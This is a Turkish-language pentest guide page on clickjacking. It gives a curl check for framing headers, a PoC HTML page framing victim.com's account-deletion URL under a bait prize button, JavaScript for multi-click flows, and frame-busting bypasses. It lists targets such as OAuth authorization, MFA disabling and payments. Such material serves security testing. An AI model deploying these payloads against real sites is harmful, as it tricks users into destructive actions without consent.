Skip to content

Clickjacking

OWASP A05 difficulty: kolay

Clickjacking (UI redressing), hedef siteyi görünmez bir iframe içine alıp saldırgan sayfasının üstüne bindirerek, kurbanın farkında olmadan hedef sitede işlem (onay, satın alma, ayar değiştirme) yapmasını sağlar. PoC üretmek için Clickjacking PoC aracını kullanabilirsin.

Hedef sayfa çerçevelenebilir olmalı:

# X-Frame-Options yok veya zayıf
# CSP frame-ancestors yok / * / saldırgan origin
Terminal window
curl -sI https://victim.com/account/delete | grep -iE 'x-frame|content-security'
DENY / CSP frame-ancestors 'none' → çerçevelenemez
SAMEORIGIN → çapraz site iframe yok; alt domain XSS ile zincir düşün
ALLOW-FROM (eski) → modern tarayıcıda güvenilmez
Başlık yok → aday
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<div class="bait">Ödülü kazanmak için buraya tıkla</div>
<iframe src="https://victim.com/account/delete"></iframe>
</body>
</html>

Kurbanın “ödül” tıklaması, alttaki gerçek “Hesabı sil / Like / Follow / Enable” butonuna denk gelir. Debug için geçici opacity: 0.5 kullan.

  1. Çerçevelenebilirliği doğrula — hedef URL’yi iframe’le; boş mu, kırık mı, XFO ile mi engellenmiş?

  2. Buton koordinatlarını hizala — DevTools ile hedef butonun konumunu ölç; bait’i üstüne yerleştir. transform: scale() ile iframe büyüt/küçült.

  3. Çok tıklamalı akış — onay diyalogları için bait’i ikinci tıklamada kaydır (JS ile top / left güncelle).

  4. Drag & drop / text injection — kurbanın seçtiği metni gizli forma sürükletme veya clipboard hileleri (lab senaryoları).

  5. Oturum koşulu — kurban hedefte login olmalı; PoC sayfasında “önce victim.com’da oturum açın” talimatı veya open-redirect zinciri.

// İkinci tık için bait kaydır
let step = 0;
document.querySelector('.bait').onclick = () => {
step++;
if (step === 1) {
document.querySelector('.bait').style.top = '420px';
document.querySelector('.bait').textContent = 'Devam et';
}
};
<iframe sandbox="allow-forms allow-scripts allow-same-origin"
src="https://victim.com/sensitive"></iframe>
sandbox → top.location busting script'lerini kısıtlar (varyanta göre)
XFO SAMEORIGIN → parent olarak XSS'li aynı origin / subdomain kullan
double framing → bazı eski busting'ler yalnızca top==self bakar

Clickjacking, CSRF token’ı kurbanın kendi tarayıcısında doldurulmuş sayfada tıklattığı için token korumasını baypas edebilir. Hedefler:

□ Hesap sil / e-posta değiştir onayı
□ OAuth "Authorize" / "Allow access"
□ 2FA yedek kod göster / disable MFA
□ Para transferi / satın alma onayı
□ Sosyal: Like, Follow, Share, Add friend
Çerçevelenemeyen ana domain → çerçevelenebilir alt path veya eski app
Open redirect → iframe src'yi güvenilir görünümlü URL ile başlat
Stored XSS (alt domain) → self-clickjacking / same-origin frame
□ Hassas ayar / silme / OAuth / ödeme onay ekranları
□ X-Frame-Options ve CSP frame-ancestors tüm varyant path'lerde
□ Mobil webview / in-app browser farkları
□ Double-click / confirm dialog hizalama
□ PoC videosu veya ekran görüntüsü ile rapor
□ Cookie SameSite clickjacking'i engellemez (kullanıcı kendi sitesinde tıklar)